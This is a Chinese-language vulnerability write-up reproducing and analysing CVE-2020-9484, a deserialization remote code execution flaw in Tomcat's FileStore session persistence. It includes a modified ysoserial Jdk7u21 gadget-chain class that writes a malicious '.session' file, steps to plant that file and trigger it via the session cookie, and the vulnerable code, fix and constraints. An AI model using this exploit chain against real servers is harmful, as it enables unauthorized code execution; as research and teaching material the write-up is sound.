tomcat的rce,可惜不是默认配置。
环境
- Tomcat 7.0.99
- JDK7u21
影响版本
- <= 9.0.34
- <= 8.5.54
- <= 7.0.103
配置tomcat调试环境
修改catalina.bat添加一行
1set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
idea配置remote tomcat调试 端口为8001
复现
修改tomcat路径conf目录下的context.xml 在<Context>
标签内加入以下配置
1 <Manager className="org.apache.catalina.session.PersistentManager"
2 debug="0"
3 saveOnRestart="false"
4 maxActiveSession="-1"
5 minIdleSwap="-1"
6 maxIdleSwap="-1"
7 maxIdleBackup="-1">
8 <Store className="org.apache.catalina.session.FileStore" directory="../sessions" />
9 </Manager>
为了方便burp抓包,修改server.xml端口为80
下载ysoserial使用idea导入之后修改jdk7u21的链
1package ysoserial.payloads;
2
3import ysoserial.payloads.annotation.Authors;
4import ysoserial.payloads.annotation.Dependencies;
5import ysoserial.payloads.annotation.PayloadTest;
6import ysoserial.payloads.util.Gadgets;
7import ysoserial.payloads.util.JavaVersion;
8import ysoserial.payloads.util.PayloadRunner;
9import ysoserial.payloads.util.Reflections;
10
11import javax.xml.transform.Templates;
12import java.io.FileOutputStream;
13import java.io.ObjectOutputStream;
14import java.lang.reflect.InvocationHandler;
15import java.util.HashMap;
16import java.util.LinkedHashSet;
17
18@SuppressWarnings({"rawtypes", "unchecked"})
19@PayloadTest(precondition = "isApplicableJavaVersion")
20@Dependencies()
21@Authors({Authors.FROHOFF})
22public class Jdk7u21 implements ObjectPayload<Object> {
23
24 public static boolean serialize(Object obj, String file) {
25 try {
26 ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
27 os.writeObject(obj);
28 os.close();
29 return true;
30 } catch (Exception e) {
31 e.printStackTrace();
32 } finally {
33 return false;
34 }
35 }
36
37 public static boolean isApplicableJavaVersion() {
38 JavaVersion v = JavaVersion.getLocalVersion();
39 return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
40 }
41
42 public static void main(final String[] args) throws Exception {
43 PayloadRunner.run(Jdk7u21.class, args);
44 }
45
46 public Object getObject(final String command) throws Exception {
47 final Object templates = Gadgets.createTemplatesImpl(command);
48
49 String zeroHashCodeStr = "f5a5a608";
50
51 HashMap map = new HashMap();
52 map.put(zeroHashCodeStr, "foo");
53
54 InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
55 Reflections.setFieldValue(tempHandler, "type", Templates.class);
56 Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
57
58 LinkedHashSet set = new LinkedHashSet(); // maintain order
59 set.add(templates);
60 set.add(proxy);
61
62 Reflections.setFieldValue(templates, "_auxClasses", null);
63 Reflections.setFieldValue(templates, "_class", null);
64
65 map.put(zeroHashCodeStr, templates); // swap in real object
66 serialize(set, "e:/evil.session");
67 return set;
68 }
69
70}
配置idea参数为
然后运行生成e:/evil.session
文件,将其保存到D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions
目录中,burp抓包设置session为evil,触发反序列化达成RCE。
分析
在php中会将用户session以文件的形式存储到服务器中,java自然也可以,对于大型的企业应用,为了避障会将数据库或者session以文件的形式保存到文件中,那么以文件的形式保存对象自然就涉及到了序列化和反序列化。
通过复现漏洞可知该反序列化入口点在于Context.xml
中配置的org.apache.catalina.session.FileStore
,查看其代码在load()中发现readObjcet
1 public Session load(String id) throws ClassNotFoundException, IOException {
2 File file = this.file(id);
3 if (file != null && file.exists()) {
4 Context context = (Context)this.getManager().getContainer();
5 Log containerLog = context.getLogger();
6 if (containerLog.isDebugEnabled()) {
7 containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
8 }
9
10 FileInputStream fis = null;
11 ObjectInputStream ois = null;
12 Loader loader = null;
13 ClassLoader classLoader = null;
14 ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
15
16 StandardSession var11;
17 try {
18 fis = new FileInputStream(file.getAbsolutePath());
19 loader = context.getLoader();
20 if (loader != null) {
21 classLoader = loader.getClassLoader();
22 }
23
24 if (classLoader != null) {
25 Thread.currentThread().setContextClassLoader(classLoader);
26 }
27
28 ois = this.getObjectInputStream(fis);
29 StandardSession session = (StandardSession)this.manager.createEmptySession();
30 session.readObjectData(ois);
31 session.setManager(this.manager);
32 var11 = session;
33 return var11;
34 } catch (FileNotFoundException var25) {
35 ...
36 }
37 }
代码很明显,通过id打开session文件,然后获取context的类加载器赋值给当前线程的类加载器,以此拿到当前容器Container中的lib,session.readObjectData(ois)
中触发了反序列化RCE。
修复
在 java/org/apache/catalina/session/FileStore.java 中判断了目录是否有效
gadget用哪个?
因为通过当前Container的类加载器反序列化对象,所以能拿到当前war包中的lib,所以有什么用什么,什么都没有就用jdk的gatget。
遇到的问题
直接使用ysoserial生成的payload不行,在java/io/ObjectInputStream.java:299
中会验证前几位字节码,抛出异常,堆栈如下
1readStreamHeader:799, ObjectInputStream (java.io)
2<init>:299, ObjectInputStream (java.io)
3<init>:95, CustomObjectInputStream (org.apache.catalina.util)
4getObjectInputStream:237, StoreBase (org.apache.catalina.session)
5load:248, FileStore (org.apache.catalina.session)
6loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
7swapIn:739, PersistentManagerBase (org.apache.catalina.session)
8findSession:517, PersistentManagerBase (org.apache.catalina.session)
9doGetSession:3147, Request (org.apache.catalina.connector)
10getSession:2489, Request (org.apache.catalina.connector)
11getSession:897, RequestFacade (org.apache.catalina.connector)
12getSession:909, RequestFacade (org.apache.catalina.connector)
13_initialize:147, PageContextImpl (org.apache.jasper.runtime)
14initialize:126, PageContextImpl (org.apache.jasper.runtime)
15internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
16getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
17_jspService:6, index_jsp (org.apache.jsp)
18service:70, HttpJspBase (org.apache.jasper.runtime)
19service:728, HttpServlet (javax.servlet.http)
20service:477, JspServletWrapper (org.apache.jasper.servlet)
21serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
22service:339, JspServlet (org.apache.jasper.servlet)
23service:728, HttpServlet (javax.servlet.http)
24internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
25doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
26doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
27internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
28doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
29invoke:219, StandardWrapperValve (org.apache.catalina.core)
30invoke:110, StandardContextValve (org.apache.catalina.core)
31invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
32invoke:165, StandardHostValve (org.apache.catalina.core)
33invoke:104, ErrorReportValve (org.apache.catalina.valves)
34invoke:1025, AccessLogValve (org.apache.catalina.valves)
35invoke:116, StandardEngineValve (org.apache.catalina.core)
36service:452, CoyoteAdapter (org.apache.catalina.connector)
37process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
38process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
39doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
40run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
41runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
42run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
43run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
44run:722, Thread (java.lang)
具体原因可能是因为yso对于反序列化对象写入文件的操作不一样,自己写一个serialize()就行了
攻击面和约束条件的思考
先谈约束条件吧,利用难度还是比较大的。
- 不是默认配置,需要手动增加
Context.xml
- 文件上传 文件后缀需要是
.session
- 需要知道绝对路径来跨目录
拓展下攻击面,比如redis,这里@l1nk3r
师傅公开了另一种使用redis的反序列化场景,问题出现在RedisSession
类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。
参考
- 另一种使用redis的反序列化场景
- https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad
- https://www.sec-in.com/article/394
- https://www.cnblogs.com/potatsoSec/p/12931427.html
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论